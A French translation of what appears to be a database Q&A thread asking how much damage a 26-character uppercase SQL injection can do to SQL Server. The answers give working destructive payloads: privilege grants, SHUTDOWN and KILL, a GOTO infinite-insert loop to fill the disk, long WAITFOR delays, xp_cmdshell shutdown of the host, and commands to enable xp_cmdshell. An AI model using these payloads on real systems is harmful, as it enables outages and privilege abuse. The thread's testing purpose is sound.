Injection SQL Server - combien de dégâts en 26 caractères?

Je teste la résilience contre les attaques par injection sur une base de données SQL Server.

Tous les noms de table dans la base de données sont en minuscules et le classement est sensible à la casse, Latin1_General_CS_AS .

La chaîne que je peux envoyer est forcée en majuscules et peut avoir un maximum de 26 caractères. Je ne peux donc pas envoyer de DROP TABLE car le nom de la table serait en majuscules et donc l'instruction échouerait en raison du classement.

Alors - quel est le maximum de dégâts que je pourrais faire en 26 caractères?

MODIFIER

Je sais tout sur les requêtes paramétrées et ainsi de suite - imaginons que la personne qui a développé le frontend qui construit la requête à envoyer n'a pas utilisé de paramètres dans ce cas.

Je n'essaie pas non plus de faire quoi que ce soit de néfaste, c'est un système construit par quelqu'un d'autre dans la même organisation.

Facile:

GRANT EXECUTE TO LowlyDBA

Ou, je suppose que dans ce cas, ce serait

grant execute to lowlydba 

Faites votre choix de variations à ce sujet.

Selon toute vraisemblance, vous pourrez peut-être le tester maintenant par rapport à votre système actuel, mais un certain nombre de petites modifications dans la base de données au fil du temps pourraient invalider vos tests. La chaîne de caractères pourrait changer, quelqu'un pourrait créer une procédure stockée en minuscules qui a un potentiel destructeur - n'importe quoi. Vous ne pouvez jamais dire avec 100% de confiance qu'il n'y a pas d'attaque destructrice de 26 personnages que quelqu'un pourrait construire.

Je vous suggère de trouver un moyen de faire en sorte que le développeur suive les meilleures pratiques de sécurité standard de l'industrie, ne serait-ce que pour vous-même en tant que personne dont je présume qu'il est au moins partiellement responsable en cas de violation de la sécurité.

Éditer:

Et pour la malveillance / le plaisir, vous pouvez essayer d'activer chaque indicateur de trace. Ce serait intéressant à observer. Se sent comme un article de blog que Brent Ozar ferait ...

DBCC TRACEON(xxxx, -1)

La SHUTDOWNcommande ou la KILLcommande (choisissez un nombre aléatoire supérieur à 50) prennent toutes deux nettement moins de 26 caractères, bien que le compte exécutant les requêtes d'application ne dispose, espérons-le, pas des autorisations suffisantes pour les exécuter.

Vous pouvez créer une table que vous remplissez ensuite jusqu'à la fin du temps ou jusqu'à épuisement de l'espace disque, selon la première éventualité.

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

Selon votre définition des dommages, vous pouvez exécuter ceci: WAITFOR DELAY '23: 59 'Pour être vraiment mauvais, vous pouvez utiliser un outil de test de charge pour exécuter cela à partir de 32 768 clients.

Variation basée sur la réponse de @ MikaelEriksson et la réponse de @ MartinSmith à mon commentaire initial:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

Au départ, j'avais essayé de faire une déclaration WHILE, mais le mieux que je pouvais faire était de 27 caractères:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

Mais Martin a souligné GOTO:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... la racine de tous les maux et créateur d'une instruction d'insertion de boucle infinie en 26 caractères.

Cela dit ... il pourrait être avantageux de s'en tenir à CHAR (99) au lieu de int car cela utiliserait plus d'espace. D'autres options utilisent des noms plus longs et briseraient la limite de 26 caractères ... ou utiliseraient moins d'espace de stockage par ligne.

Code de test complet:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

XP_CMDSHELL 'SHUTDOWN -PF'

En fonction de la gravité des dégâts que vous considérez comme une mise hors tension. :-)

Cela nécessite l'activation de xp_cmdshell sur le serveur, ce qui n'est pas le cas pour les dernières versions de SQL Server. Cela nécessite également que le compte de service dispose du droit de fermeture, qu'il peut ou non avoir.

L'activation de xp_cmdshell dépasse probablement votre limite de 26 caractères. Autoriseriez-vous plusieurs injections?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE